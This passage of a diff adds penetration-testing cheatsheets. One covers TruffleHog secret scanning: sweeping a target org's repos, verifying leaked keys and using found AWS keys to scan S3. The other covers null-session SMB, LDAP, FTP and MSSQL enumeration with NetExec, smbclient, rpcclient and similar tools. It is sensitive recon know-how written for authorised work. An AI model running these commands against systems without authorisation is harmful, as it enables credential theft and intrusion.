`ghcr.io/[org-name]` for public images* + +--- + +### Scan via stdin + +```bash +# Scan a file piped from curl — no local save needed +curl -s https://target-bucket.s3.amazonaws.com/.env \ + | trufflehog stdin --results=verified,unknown --json + +# Scan any command output +cat suspicious_config.py | trufflehog stdin --results=verified,unknown +``` + +> [!info]+ Command Breakdown +> 1. **stdin** — accepts raw streamed content; anything that produces output can be scanned +> 2. Combine with `curl` to triage a suspicious file from a public URL instantly +> 3. *Fastest initial triage method — pipe before deciding whether to fully download a file* + +--- + +## Output and Triage + +### JSON Output with jq Triage + +```bash +# Save all findings to a file +trufflehog github --org=target-org \ + --results=verified,unknown \ + --json > findings.json 2>/dev/null + +# Show only verified findings — simplest triage +cat findings.json | jq 'select(.Verified == true)' + +# Extract key fields for a clean summary +cat findings.json | jq -r ' + select(.Verified == true) | + "\(.DetectorName) | \(.SourceMetadata.Data.Git.file) | \(.SourceMetadata.Data.Git.email) | \(.Raw[0:20])..." +' +# Output: +# AWS | config/settings.py | dev@target.com | AKIAIOSFODNN7EXAMPL... +# GitHub | scripts/deploy.sh | ci@target.com | ghp_aBcDeFgHiJkLmN... + +# Count findings by detector type +cat findings.json | jq -r '.DetectorName' | sort | uniq -c | sort -rn +# Output: +# 14 GenericAPIKey +# 3 AWS +# 1 GitHub + +# Get ExtraData for verified AWS keys (account ID, ARN, user) +cat findings.json | jq 'select(.DetectorName == "AWS" and .Verified == true) | .ExtraData' +# Output: +# { +# "account": "123456789012", +# "arn": "arn:aws:iam::123456789012:user/ci-deploy", +# "user_id": "AIDA4EXAMPLE" +# } +``` + +> [!info]+ Command Breakdown +> 1. **2>/dev/null** — suppresses TruffleHog's progress logs; keeps the JSON output clean for piping +> 2. **select(.Verified == true)** — jq filter that only returns verified findings +> 3. **\(.Raw[0:20])...** — shows only the first 20 chars of the secret — enough to identify it without printing the full value in terminal history +> 4. **uniq -c | sort -rn** — counts and sorts by frequency — tells you which secret type is most prevalent +> 5. **ExtraData** — the intelligence goldmine for AWS findings — account ID tells you the AWS account; ARN tells you the user; these confirm the blast radius of the leak + +--- + +### Controlling Noise — Entropy and Detector Filters + +```bash +# Filter low-entropy unverified results (reduces generic false positives) +# Start at 3.0 and increase if still too noisy +trufflehog git https://github.com/target-org/repo.git \ + --results=unverified \ + --filter-entropy=3.5 \ + --json + +# Scan ONLY specific detector types (focus on high-value targets) +trufflehog git https://github.com/target-org/repo.git \ + --include-detectors="AWS,GitHub,GitLab,Slack,Stripe,OpenAI" \ + --results=verified,unknown \ + --json + +# Exclude noisy low-value detectors +trufflehog git https://github.com/target-org/repo.git \ + --exclude-detectors="GenericAPIKey,URI" \ + --results=verified,unknown \ + --json +``` + +> [!info]+ Command Breakdown +> 1. **--filter-entropy** — [Shannon entropy](https://en.wikipedia.org/wiki/Entropy_(information_theory)) score threshold; only show unverified results above this score; higher entropy = more random = more likely to be a real secret; `3.5` is a good starting value +> 2. **--include-detectors** — comma-separated list; restrict to only the detectors you care about; eliminates entire categories of noise +> 3. **--exclude-detectors** — `GenericAPIKey` and `URI` are the noisiest detectors; excluding them dramatically reduces false positives when you just want high-confidence results +> 4. *For OSINT triage: start with `--include-detectors="AWS,GitHub,GitLab,Slack,Stripe,OpenAI,Twilio"` — these are the highest-impact credentials* + +--- + +> [!tip]+ High-Value Detector Priority List +> | Priority | Detector | Why | +> |---|---|---| +> | **Critical** | `AWS` | Direct cloud infrastructure access — account takeover | +> | **Critical** | `GitHub` | Access to code, Actions secrets, repo admin | +> | **Critical** | `GitLab` | Same as GitHub for GitLab-hosted companies | +> | **High** | `Slack` | Internal comms — further OSINT, social engineering | +> | **High** | `Stripe` | Financial API — direct monetary impact | +> | **High** | `OpenAI` | AI API access — often expensive, reveals internal tooling | +> | **High** | `Twilio` | SMS/voice API — phishing pivot, account takeover via 2FA | +> | **Medium** | `Sendgrid` / `Mailgun` | Email sending — phishing infrastructure | +> | **Medium** | `Postman` | Reveals internal API structure and endpoints | +> | **Medium** | `HuggingFace` | ML model access — internal AI tooling | + +--- + +## The `analyze` Subcommand — Key Permission Enumeration + +```bash +# Interactively analyse a found key — TruffleHog auto-detects the type +trufflehog analyze --token=AKIAIOSFODNN7EXAMPLEwJalrXUtnFEMI + +# Specify key type explicitly +trufflehog analyze github --token=ghp_aBcDeFgHiJkLmNoPqRsTuVwXyZ123456 + +# JSON output for scripting +trufflehog analyze github \ + --token=ghp_aBcDeFgHiJkLmNoPqRsTuVwXyZ123456 \ + --json + +# Output: +# { +# "token_type": "GitHub", +# "permissions": { +# "repo": "write", +# "admin:org": "none", +# "read:user": "read", +# "workflow": "write" +# }, +# "scopes": ["repo", "read:user", "workflow"], +# "username": "ci-deploy-bot", +# "org_memberships": ["target-org"] +# } +``` + +> [!info]+ Command Breakdown +> 1. **analyze** — TruffleHog's unique capability; takes a found credential and enumerates exactly what permissions it has, without you having to manually test each API endpoint +> 2. Supported key types: AWS, GitHub, GitLab, Slack, Stripe, Twilio, OpenAI, Postman, Shopify, Sendgrid, Mailchimp, Mailgun, Bitbucket, HuggingFace, and more +> 3. **permissions** output — tells you exactly what the key can do: read-only? Write access? Admin? — determines the blast radius before you even make a decision +> 4. **org_memberships** — for GitHub tokens, reveals which organisations the token has access to — one leaked personal token can expose multiple organisations +> 5. *This replaces manually calling `aws sts get-caller-identity`, `curl https://api.github.com/user`, etc. — TruffleHog does it all in one command* + +> [!warning]+ analyze Makes Live API Calls +> 1. Every `analyze` run makes real API calls to the target service +> 2. These calls may be logged by the service — AWS CloudTrail, GitHub audit logs, etc. +> 3. In an engagement: get written approval to verify credentials before running `analyze` +> 4. Use `--no-verification` during scanning and `analyze` only on the highest-confidence findings after scope confirmation + +--- + +## Custom Detectors — Target-Specific Patterns + +```yaml +# custom-detectors.yaml +# Reference with --config=custom-detectors.yaml + +detectors: + - name: TargetCorpInternalToken + keywords: + - "TGT-" + regex: + secret: "TGT-[a-zA-Z0-9]{32}" + verify: + - endpoint: "https://api.target-internal.com/v1/auth/verify" + unsafe: true + headers: + - "Authorization: Bearer $secret" + successRanges: + - "200-299" + + - name: TargetCorpJWTSecret + keywords: + - "jwt_secret" + - "JWT_SECRET" + regex: + secret: '(?i)jwt_secret\s*[=:]\s*["'']([a-zA-Z0-9+/=]{40,})["'']' +``` + +```bash +# Run with custom detectors alongside default ruleset +trufflehog git https://github.com/target-org/repo.git \ + --config=custom-detectors.yaml \ + --results=verified,unknown \ + --json +``` + +> [!info]+ Command Breakdown +> 1. **keywords** — pre-filter strings TruffleHog looks for before applying the regex; improves scan performance +> 2. **regex.secret** — the capture group that extracts the actual secret value +> 3. **verify.endpoint** — TruffleHog will call this URL with the found secret to verify it — returns `verified: true` if the response is in `successRanges` +> 4. **unsafe: true** — required for non-HTTPS endpoints (internal APIs); omit for public HTTPS endpoints +> 5. *Custom detectors give TruffleHog's verification power to company-specific secrets discovered through job posting and LinkedIn OSINT* + +--- + +## Full OSINT Workflow + +```bash +# ── PHASE 1: Org-Level Sweep ────────────────────────────────────────── +# Scan the entire GitHub org — all repos, all history, verify everything +trufflehog github \ + --org=target-org \ + --results=verified,unknown \ + --json \ + --no-update \ + 2>/dev/null | tee org-findings.json + +# ── PHASE 2: Triage ─────────────────────────────────────────────────── +# Count by detector type — identify the biggest wins +cat org-findings.json | jq -r '.DetectorName' | sort | uniq -c | sort -rn + +# Pull all verified findings with attribution +cat org-findings.json | jq -r ' + select(.Verified == true) | + [.DetectorName, .SourceMetadata.Data.Git.repository, .SourceMetadata.Data.Git.file, + .SourceMetadata.Data.Git.email, .SourceMetadata.Data.Git.commit] | @tsv +' | column -t + +# ── PHASE 3: Deep Dive High-Value Repos ─────────────────────────────── +# For repos with findings — run Gitleaks for full history depth +git clone https://github.com/target-org/high-value-repo.git +gitleaks git -v --log-opts="--all" --report-path=repo-findings.json ./high-value-repo + +# ── PHASE 4: Expand to Cloud ────────────────────────────────────────── +# If AWS keys were found — scan all accessible S3 buckets with them +export AWS_ACCESS_KEY_ID=AKIAIOSFODNN7EXAMPLE +export AWS_SECRET_ACCESS_KEY=wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY +trufflehog s3 --results=verified,unknown --json 2>/dev/null | tee s3-findings.json + +# ── PHASE 5: Analyse Key Permissions ────────────────────────────────── +# For each high-value verified credential +trufflehog analyze github --token=ghp_FoundToken --json +trufflehog analyze aws --token=AKIAIOSFODNN7EXAMPLE:wJalrXUtnFEMI/K7MDENG --json + +# ── PHASE 6: Docker Images ──────────────────────────────────────────── +# Check public Docker images for the org +trufflehog docker \ + --image=target-org/main-app:latest \ + --results=verified,unknown \ + --json 2>/dev/null | tee docker-findings.json +``` + +> [!info]+ Workflow Breakdown +> 1. **Phase 1** — `tee` writes to file AND shows on terminal simultaneously; `2>/dev/null` suppresses progress noise; `--no-update` skips the version check for speed +> 2. **Phase 2** — the `@tsv | column -t` combination produces a clean aligned table of all verified findings with repo, file, email, and commit — copy-paste ready for a report +> 3. **Phase 3** — TruffleHog catches live secrets; Gitleaks catches historical patterns — they complement each other; use both on high-value repos +> 4. **Phase 4** — a verified AWS key is the bridge from code recon to cloud infrastructure recon; TruffleHog can enumerate all buckets that key has access to automatically +> 5. **Phase 5** — `analyze` tells you the blast radius before you escalate — no manual API testing required +> 6. **Phase 6** — Docker layers frequently contain secrets from build-time environment variables and RUN commands that were never intended to persist + +--- + +> [!success]+ What to Do with a Verified Finding +> 1. **Record** — detector name, raw value (first 20 chars only), file, commit hash, author email, repository, timestamp +> 2. **Analyse** — run `trufflehog analyze [type] --token=[value] --json` to enumerate permissions and blast radius +> 3. **Confirm scope** — verify the credential's service is within your engagement scope before proceeding +> 4. **Document** — include verification status, `ExtraData` (account IDs, ARNs, usernames), and permissions in your report +> 5. **Do not exploit** beyond confirming the credential is valid — accessing systems, exfiltrating data, or making changes is out of bounds + +--- + +## References + +1. [TruffleHog GitHub Repository](https://github.com/trufflesecurity/trufflehog) +2. [TruffleHog Official Documentation](https://docs.trufflesecurity.com/) +3. [TruffleHog Scanning Git — 2024 Comprehensive Guide](https://trufflesecurity.com/blog/scanning-git-for-secrets-the-2024-comprehensive-guide) +4. [TruffleHog Analyze — Key Permissions Blog Post](https://trufflesecurity.com/blog/trufflehog-now-analyzes-permissions-of-api-keys-and-passwords) +5. [TruffleHog Git vs Filesystem Commands](https://trufflesecurity.com/blog/trufflehog-commands-git-vs-filesystem) +6. [Driftwood — Private Key Verification](https://trufflesecurity.com/blog/driftwood) +7. [TruffleHog Custom Detectors](https://github.com/trufflesecurity/trufflehog/blob/main/pkg/custom_detectors/CUSTOM_DETECTORS.md) +8. [Shannon Entropy — Wikipedia](https://en.wikipedia.org/wiki/Entropy_(information_theory)) +9. [HTB Academy - Footprinting Module](https://academy.hackthebox.com/module/details/112) +10. [HackTricks - OSINT](https://book.hacktricks.xyz/generic-methodologies-and-resources/external-recon-methodology) +11. [MITRE ATT&CK - Search Open Technical Databases (T1596)](https://attack.mitre.org/techniques/T1596/) +12. [Source: 2.4 - Cheatsheet - Gitleaks](02Cybersecurity/Cheatsheets/Enumeration/GitHub-Enum/2.4%20-%20Cheatsheet%20-%20Gitleaks.md) +13. [Source: 2.3 - Theory Staff](2.3%20-%20Theory%20Staff.md) +14. [Source: 2.0 - Cheatsheet - Infrastructure Enumeration Tools](2.0%20-%20Cheatsheet%20-%20Infrastructure%20Enumeration%20Tools.md) + +--- + +#HTB #Footprinting #OSINT #TruffleHog #SecretScanning #CredentialVerification #GitHistory #AWS #GitHub #Cheatsheet #PassiveRecon diff --git a/src/content/sheets/enumeration/anonymous-null-testing.md b/src/content/sheets/enumeration/anonymous-null-testing.md @@ -0,0 +1,1014 @@ +--- +title: "Anonymous Null Testing" +description: "nxc smb <IP> -u '' -p '' # Test anonymous access nxc smb <IP> -u 'guest' -p '' # Test guest account nxc smb <IP> -u='' -p='' # Windows syntax" +category: enumeration +tags: ["enumeration", "privilege-escalation"] +tools: ["smbmap", "NetExec", "ldapsearch"] +difficulty: intermediate +updated: "2026-08-10" +source: "vault:Enumeration/Anonymous Null Testing.md" +--- +# Test null session +nxc smb <IP> -u '' -p '' # Test anonymous access +nxc smb <IP> -u 'guest' -p '' # Test guest account +nxc smb <IP> -u='' -p='' # Windows syntax +``` + +**Output interpretation**: + +1. Green **[+]**: Authentication succeeded +2. Red **[-]**: Authentication failed +3. **Pwn3d!**: Administrative privileges obtained +4. **STATUS_LOGON_FAILURE**: Null session blocked +5. **STATUS_ACCESS_DENIED**: Authenticated but no privileges + +```bash +# Basic enumeration +nxc smb <IP> -u '' -p '' --shares # List shares +nxc smb <IP> -u '' -p '' --users # List users +nxc smb <IP> -u '' -p '' --groups # List groups +nxc smb <IP> -u '' -p '' --pass-pol # Password policy +nxc smb <IP> -u '' -p '' --sessions # Active sessions +nxc smb <IP> -u '' -p '' --loggedon-users # Logged on users +nxc smb <IP> -u '' -p '' --rid-brute # RID brute force (noisy) +nxc smb <IP> -u '' -p '' --disks # List disks +``` + +**RID brute force warning**: Generates hundreds of Windows Event ID 4625 (failed logon) events—extremely noisy + +--- + +### SMB File Operations + +```bash +# List files in share +nxc smb <IP> -u '' -p '' --ls SHARENAME # List root of share +nxc smb <IP> -u '' -p '' --ls 'SHARENAME/folder' # List subdirectory +``` + +```bash +# Download files +nxc smb <IP> -u '' -p '' --get-file 'SHARE\file.txt' ./local.txt # Download file +nxc smb <IP> -u '' -p '' --get-file 'C$\Windows\System32\drivers\etc\hosts' ./hosts # Download specific file +``` + +```bash +# Upload files +nxc smb <IP> -u '' -p '' --put-file local.txt 'SHARE\remote.txt' # Upload file +``` + +```bash +# Spider shares (search files) +nxc smb <IP> -u '' -p '' --spider SHARENAME # List all files +nxc smb <IP> -u '' -p '' --spider SHARENAME --pattern txt # Search by extension +nxc smb <IP> -u '' -p '' --spider SHARENAME --pattern 'password|secret' # Search by keyword +nxc smb <IP> -u '' -p '' --spider SHARENAME --regex '.*\.config' # Regex search +nxc smb <IP> -u '' -p '' --spider SHARENAME --depth 3 # Limit depth +nxc smb <IP> -u '' -p '' --spider SHARENAME --only-files # Files only +nxc smb <IP> -u '' -p '' --spider SHARENAME --content --pattern password # Search file content +``` + +**Spider options**: + +1. **--pattern**: Match file names by keyword or extension +2. **--regex**: Match file names by regular expression +3. **--depth**: Limit recursion depth (reduces noise) +4. **--only-files**: Skip directories in output +5. **--content**: Search inside file contents (requires read access) + +--- + +### SMB spider_plus Module + +The spider_plus module provides advanced recursive file enumeration with JSON output for parsing and filtering. + +**Output location**: `~/.nxc/logs/` or `/tmp/nxc_spider_plus/<IP>.json` + +**Module requirements**: NetExec 1.0.0+ + +```bash +# List all files (creates JSON output) +nxc smb <IP> -u '' -p '' -M spider_plus # List files +nxc smb <IP> -u '' -p '' -M spider_plus -o DOWNLOAD_FLAG=True # Download all files +nxc smb <IP> -u '' -p '' -M spider_plus -o PATTERN='*.txt,*.xml,*.config' # Filter extensions +nxc smb <IP> -u '' -p '' -M spider_plus -o DEPTH=3 # Limit depth +nxc smb <IP> -u '' -p '' -M spider_plus -o EXCLUDE_EXTS='exe,dll' # Exclude types +``` + +**Module options**: + +1. **DOWNLOAD_FLAG=True**: Download all enumerated files +2. **PATTERN='*.ext1,*.ext2'**: Filter by file extensions (comma-separated) +3. **DEPTH=<n>**: Control recursion depth +4. **EXCLUDE_EXTS='ext1,ext2'**: Exclude specific file types + +```bash +# Parse JSON output +cat /tmp/nxc_spider_plus/<IP>.json | jq '.' # Pretty print +cat ~/.nxc/logs/<output>.json | jq '.[] | select(.name | endswith(".txt"))' # Filter .txt files +cat ~/.nxc/logs/<output>.json | jq '.[] | select(.size > 10000)' # Filter by size +``` + +**JSON structure**: Array of objects with fields: `name`, `path`, `size`, `atime` (access time), `ctime` (creation time), `mtime` (modification time) + +--- + +### SMB Vulnerability Checks + +```bash +nxc smb <IP> -u '' -p '' -M ms17-010 # Check EternalBlue (CVE-2017-0144) +nxc smb <IP> -u '' -p '' -M zerologon # Check ZeroLogon (CVE-2020-1472) +nxc smb <IP> -u '' -p '' -M petitpotam # Check PetitPotam +nxc smb <IP> -u '' -p '' -M printnightmare # Check PrintNightmare (CVE-2021-34527) +nxc smb <IP> -u '' -p '' -M nopac # Check noPac (CVE-2021-42278/42287) +nxc smb <IP> -u '' -p '' -M spooler # Check print spooler status +nxc smb <IP> -u '' -p '' -M enum_av # Enumerate antivirus +nxc smb <IP> -u '' -p '' -M enum_ca # Enumerate ADCS (Certificate Authority) +nxc smb <IP> -u '' -p '' --gen-relay-list relay.txt # Check SMB signing (relay attacks) +``` + +**Vulnerability module notes**: + +1. Modules check for vulnerability presence—do not exploit +2. **--gen-relay-list**: Identifies hosts without SMB signing (vulnerable to relay attacks) +3. Some modules require valid credentials (not anonymous) + +--- + +### LDAP Anonymous Bind Testing + +**Port**: 389/tcp (LDAP) or 636/tcp (LDAPS) + +**Anonymous bind**: Authenticates with empty credentials to query directory information + +```bash +# Test anonymous bind +nxc ldap <IP> -u '' -p '' # Test anonymous LDAP +``` + +**Result codes**: + +1. **LDAP Result Code 0 (success)**: Anonymous bind allowed +2. **LDAP Result Code 49 (invalidCredentials)**: Anonymous bind blocked + +```bash +# Basic enumeration +nxc ldap <IP> -u '' -p '' --users # List users +nxc ldap <IP> -u '' -p '' --groups # List groups +nxc ldap <IP> -u '' -p '' --computers # List computers +nxc ldap <IP> -u '' -p '' --get-sid # Get domain SID +``` + +```bash +# LDAP modules +nxc ldap <IP> -u '' -p '' -M get-desc-users # Get user descriptions +nxc ldap <IP> -u '' -p '' -M maq # Machine Account Quota +nxc ldap <IP> -u '' -p '' -M ldap-checker # LDAP signing check +nxc ldap <IP> -u '' -p '' -M enum_trusts # Enumerate trusts +nxc ldap <IP> -u '' -p '' -M whoami # Current context +``` + +```bash +# Custom LDAP queries +nxc ldap <IP> -u '' -p '' --query "(objectClass=user)" "sAMAccountName,description" +nxc ldap <IP> -u '' -p '' --query "(objectClass=group)" "name,member" +nxc ldap <IP> -u '' -p '' --query "(servicePrincipalName=*)" "servicePrincipalName" +nxc ldap <IP> -u '' -p '' --query "(adminCount=1)" "sAMAccountName" +``` + +**Custom query format**: `--query "<LDAP_FILTER>" "<ATTRIBUTES>"` + +**Common LDAP filters**: + +1. **(objectClass=user)**: All user objects +2. **(objectClass=group)**: All group objects +3. **(servicePrincipalName=*)**: Users with SPNs (Kerberoastable) +4. **(adminCount=1)**: Protected admin accounts +5. **(userAccountControl:1.2.840.113556.1.4.803:=8192)**: Domain controllers + +--- + +### FTP Anonymous Access + +**Port**: 21/tcp + +**Anonymous credentials**: Username `anonymous` or empty; password empty or email address + +```bash +# Test anonymous login +nxc ftp <IP> -u '' -p '' # Empty credentials +nxc ftp <IP> -u 'anonymous' -p '' # Anonymous user +nxc ftp <IP> -u 'anonymous' -p 'user@example.com' # With email +``` + +**FTP response codes**: + +1. **230 Login successful**: Anonymous login allowed +2. **530 Login incorrect**: Anonymous login blocked + +```bash +# List files +nxc ftp <IP> -u 'anonymous' -p '' --ls # List root +nxc ftp <IP> -u 'anonymous' -p '' --ls /pub # List directory +``` + +```bash +# Download files +nxc ftp <IP> -u 'anonymous' -p '' --get file.txt # Download file +nxc ftp <IP> -u 'anonymous' -p '' --get /pub/data.txt # Download from path +``` + +--- + +### MSSQL Blank Password Testing + +**Port**: 1433/tcp (default instance) or dynamic ports (named instances) + +**Default accounts**: `sa` (system administrator), `MSSQLSERVER`, `admin` + +```bash +# Test blank passwords +nxc mssql <IP> -u 'sa' -p '' # Test sa account +nxc mssql <IP> -u users.txt -p '' # Test multiple users +``` + +```bash +# Execute queries +nxc mssql <IP> -u 'sa' -p '' -q "SELECT @@version" # Version +nxc mssql <IP> -u 'sa' -p '' -q "SELECT name FROM sys.databases" # List databases +nxc mssql <IP> -u 'sa' -p '' -q "SELECT * FROM information_schema.tables" # List tables +``` + +```bash +# File operations +nxc mssql <IP> -u 'sa' -p '' --get-file 'C:\backup\db.bak' ./db.bak # Download file +nxc mssql <IP> -u 'sa' -p '' --put-file payload.txt 'C:\temp\payload.txt' # Upload file +``` + +**File operations**: Require `xp_cmdshell` enabled or bulk insert privileges + +--- + +### List NetExec Modules + +```bash +nxc smb -L # List SMB modules +nxc ldap -L # List LDAP modules +nxc mssql -L # List MSSQL modules +nxc ftp -L # List FTP modules +nxc winrm -L # List WinRM modules +nxc ssh -L # List SSH modules +nxc rdp -L # List RDP modules + +nxc smb -M spider_plus --options # View module options +``` + +--- + +## Alternative Tools - Anonymous Access & Enumeration + +### smbclient - SMB File Operations + +[smbclient](https://www.samba.org/samba/docs/current/man-html/smbclient.1.html) is the native SMB client from Samba. Pre-installed on most Linux distributions. + +**UNC path syntax**: `\\\\IP\\SHARE` (Windows) or `//IP/SHARE` (Linux/macOS) + +**List shares**: + +```bash +smbclient -N -L //<IP> # List shares (null session) +smbclient -N -U '' -L //<IP> # List shares (explicit) +smbclient -L //<IP> -U 'guest%' # List shares (guest) +``` + +**Options**: + +1. **-N**: No password prompt (null session) +2. **-L**: List shares +3. **-U 'user%pass'**: Specify username and password + +**Connect and browse files**: + +```bash +# Connect to share +smbclient -N //<IP>/SHARENAME # Connect with null session +smbclient //<IP>/SHARENAME -U 'guest%' # Connect as guest +``` + +**Interactive commands** (inside `smb: \>` prompt): + +```bash +smb: \> ls # List files +smb: \> cd folder # Change directory +smb: \> pwd # Print working directory +smb: \> dir # List files (alternative) +smb: \> get file.txt # Download single file +smb: \> mget *.txt # Download multiple files +smb: \> prompt OFF # Disable prompts +smb: \> recurse ON # Enable recursion +smb: \> mget * # Download everything +smb: \> put localfile.txt # Upload file +smb: \> mput *.txt # Upload multiple +smb: \> del file.txt # Delete file +smb: \> rm file.txt # Delete file (alternative) +smb: \> mkdir newfolder # Create directory +smb: \> rmdir oldfolder # Remove directory +smb: \> exit # Disconnect +``` + +**Non-interactive commands**: + +```bash +# List files in share +smbclient -N //<IP>/SHARENAME -c 'ls' # List files +smbclient -N //<IP>/SHARENAME -c 'cd Documents; ls' # List subdirectory +``` + +```bash +# Download files +smbclient -N //<IP>/SHARENAME -c 'get file.txt' # Download file +smbclient -N //<IP>/SHARENAME -c 'cd backup; get db.bak' # Download from subdir +``` + +```bash +# Recursive download all files +smbclient -N //<IP>/SHARENAME -c 'prompt OFF; recurse ON; mget *' +``` + +```bash +# Download specific file types +smbclient -N //<IP>/SHARENAME -c 'prompt OFF; mget *.txt' +``` + +```bash +# Upload file +smbclient -N //<IP>/SHARENAME -c 'put local.txt remote.txt' +``` + +```bash +# Multiple commands +smbclient -N //<IP>/SHARENAME -c 'cd folder; ls; get file.txt' +``` + +**Command chaining**: Use `;` to separate multiple commands in `-c` flag + +--- + +### rpcclient - RPC Enumeration + +[rpcclient](https://www.samba.org/samba/docs/current/man-html/rpcclient.1.html) enumerates domain information via MS-RPC with null session. Part of Samba suite. + +**Connect**: + +```bash +rpcclient -N -U '' <IP> # Connect with null session +rpcclient -U 'guest%' <IP> # Connect as guest +``` + +**Interactive commands** (inside `rpcclient $>` prompt): + +```bash +rpcclient $> srvinfo # Server info +rpcclient $> enumdomusers # List users +rpcclient $> enumdomgroups # List groups +rpcclient $> querydominfo # Domain info +rpcclient $> getdompwinfo # Password policy +rpcclient $> querydispinfo # User details +rpcclient $> netshareenumall # List all shares +rpcclient $> netshareenum # List shares +rpcclient $> queryuser 500 # Query user by RID (500=Administrator) +rpcclient $> querygroup 512 # Query group by RID (512=Domain Admins) +rpcclient $> querygroupmem 512 # List group members +rpcclient $> enumalsgroups builtin # List local groups +rpcclient $> queryaliasmem builtin 0x220 # List admin group members +rpcclient $> lookupnames Administrator # Get SID from name +rpcclient $> lookupsids S-1-5-21-...-500 # Get name from SID +rpcclient $> enumprinters # List printers +rpcclient $> enumtrust # List domain trusts +rpcclient $> enumprivs # List privileges +``` + +**Common RIDs**: + +1. **500**: Administrator +2. **501**: Guest +3. **512**: Domain Admins +4. **513**: Domain Users +5. **514**: Domain Guests +6. **515**: Domain Computers +7. **516**: Domain Controllers +8. **544**: Administrators (local) +9. **1000+**: Domain user accounts + +**One-liner commands**: + +```bash +rpcclient -N -U '' <IP> -c 'enumdomusers' # List users +rpcclient -N -U '' <IP> -c 'enumdomgroups' # List groups +rpcclient -N -U '' <IP> -c 'querydominfo' # Domain info +rpcclient -N -U '' <IP> -c 'netshareenumall' # List shares +rpcclient -N -U '' <IP> -c 'getdompwinfo' # Password policy +rpcclient -N -U '' <IP> -c 'querydispinfo' # User details +rpcclient -N -U '' <IP> -c 'srvinfo' # Server info +``` + +```bash +# Chain multiple commands +rpcclient -N -U '' <IP> -c 'enumdomusers;enumdomgroups;netshareenumall' +``` + +**Command chaining**: Use `;` separator to execute multiple commands in single connection + +--- + +### smbmap - File Enumeration + +[smbmap](https://github.com/ShawnDEvans/smbmap) is a Python-based SMB enumeration tool with recursive file listing and pattern-based auto-download. + +**List shares**: + +```bash +smbmap -u '' -p '' -H <IP> # List shares (null session) +smbmap -u 'guest' -p '' -H <IP> # List shares (guest) +``` + +**Permissions displayed**: `READ ONLY`, `READ, WRITE`, `NO ACCESS` + +**List files**: + +```bash +smbmap -u '' -p '' -H <IP> -R # List all files recursively +smbmap -u '' -p '' -H <IP> -r SHARENAME # List files in share +smbmap -u '' -p '' -H <IP> -R -A '.*\.txt' # Auto-download .txt files +smbmap -u '' -p '' -H <IP> -R -A '.*\.xml|.*\.config' # Auto-download config files +smbmap -u '' -p '' -H <IP> -R --depth 2 # Limit recursion depth +smbmap -u '' -p '' -H <IP> -R --exclude ADMIN$ C$ # Exclude shares +smbmap -u '' -p '' -H <IP> -R --dir-only # List directories only +``` + +**Options**: + +1. **-R**: Recursive listing (all shares) +2. **-r SHARENAME**: Target specific share +3. **-A <pattern>**: Auto-download files matching regex +4. **--depth <n>**: Limit recursion depth +5. **--exclude <shares>**: Exclude specific shares +6. **--dir-only**: List directories only (no files) + +**Download files**: + +```bash +smbmap -u '' -p '' -H <IP> --download 'SHARE\file.txt' # Download file +smbmap -u '' -p '' -H <IP> --download 'C$\Windows\System32\drivers\etc\hosts' # Download specific file +``` + +**Upload files**: + +```bash +smbmap -u '' -p '' -H <IP> --upload 'local.txt' 'SHARE\remote.txt' # Upload file +``` + +**Search file content** (requires admin rights): + +```bash +smbmap -u '' -p '' -H <IP> -R -F 'password' # Search file content +``` + +--- + +### enum4linux - Comprehensive Enumeration + +[enum4linux](https://github.com/CiscoCXSecurity/enum4linux) is a Perl-based wrapper around smbclient, rpcclient, and other tools. [enum4linux-ng](https://github.com/cddmp/enum4linux-ng) is the newer Python rewrite. + +**Basic usage**: + +```bash +enum4linux <IP> # Basic enumeration +enum4linux -a <IP> # All enumeration (noisy) +``` + +**Warning**: `-a` flag includes RID cycling which generates hundreds of Event ID 4625 (failed logon) events + +**Targeted enumeration**: + +```bash +enum4linux -U <IP> # Users only +enum4linux -S <IP> # Shares only +enum4linux -G <IP> # Groups only +enum4linux -P <IP> # Password policy only +enum4linux -o <IP> # OS info only +enum4linux -i <IP> # Printer info only +enum4linux -n <IP> # NetBIOS info only +``` + +```bash +# Combination +enum4linux -U -S -P <IP> # Users, shares, password policy +``` + +**RID cycling** (noisy): + +```bash +enum4linux -r <IP> # RID cycling (default range) +enum4linux -R 500-600 <IP> # RID cycling (custom range) +enum4linux -R 500-550,1000-1050 <IP> # Multiple ranges +``` + +**Verbose output**: + +```bash +enum4linux -v -a <IP> # Verbose all enumeration +``` + +--- + +### FTP Client - Anonymous Access + +Native `ftp` command pre-installed on Linux/macOS/BSD/Windows. + +**Connect**: + +```bash +ftp <IP> # Connect (will prompt for credentials) +# Username: anonymous +# Password: (press Enter or type email) +``` + +**Interactive commands** (inside `ftp>` prompt): + +```bash +ftp> ls # List files +ftp> dir # List files (detailed) +ftp> cd directory # Change directory +ftp> pwd # Print working directory +ftp> binary # Binary mode (for non-text files) +ftp> ascii # ASCII mode (for text files) +ftp> get file.txt # Download file +ftp> mget *.txt # Download multiple files +ftp> prompt OFF # Disable prompts +ftp> mget * # Download all files +ftp> put local.txt # Upload file +ftp> mput *.txt # Upload multiple files +ftp> delete file.txt # Delete file +ftp> mkdir newfolder # Create directory +ftp> rmdir oldfolder # Remove directory +ftp> bye # Disconnect +ftp> quit # Disconnect (alternative) +``` + +**Transfer modes**: + +1. **binary**: For executables, images, archives (prevents corruption) +2. **ascii**: For text files (handles line ending conversions) + +**Non-interactive**: + +```bash +# List files +echo -e "user anonymous\npass\nls\nquit" | ftp -n <IP> +``` + +```bash +# Download file +echo -e "user anonymous\npass\nbinary\nget file.txt\nquit" | ftp -n <IP> +``` + +```bash +# Download all files +echo -e "user anonymous\npass\nprompt OFF\nmget *\nquit" | ftp -n <IP> +``` + +**-n flag**: Disables auto-login (required for scripting with piped commands) + +--- + +### ldapsearch - LDAP Anonymous Queries + +[ldapsearch](https://linux.die.net/man/1/ldapsearch) is the native LDAP client from OpenLDAP. Pre-installed on most Linux distributions. + +**Test anonymous bind**: + +```bash +ldapsearch -x -H ldap://<IP> -b '' -s base # Test anonymous bind +ldapsearch -x -H ldap://<IP> -b '' -s base namingContexts # Get base DN +``` + +**Options**: + +1. **-x**: Simple authentication (required) +2. **-H ldap://<IP>**: LDAP URI (use `ldaps://` for SSL on port 636) +3. **-b 'base DN'**: Base DN to search +4. **-s base**: Search scope = base object only +5. **-LLL**: Reduce output verbosity + +**Enumerate users**: + +```bash +# All users +ldapsearch -x -H ldap://<IP> -b 'dc=example,dc=com' '(objectClass=user)' -LLL +``` + +```bash +# Users with descriptions +ldapsearch -x -H ldap://<IP> -b 'dc=example,dc=com' '(objectClass=user)' sAMAccountName,description -LLL +``` + +```bash +# Admin users +ldapsearch -x -H ldap://<IP> 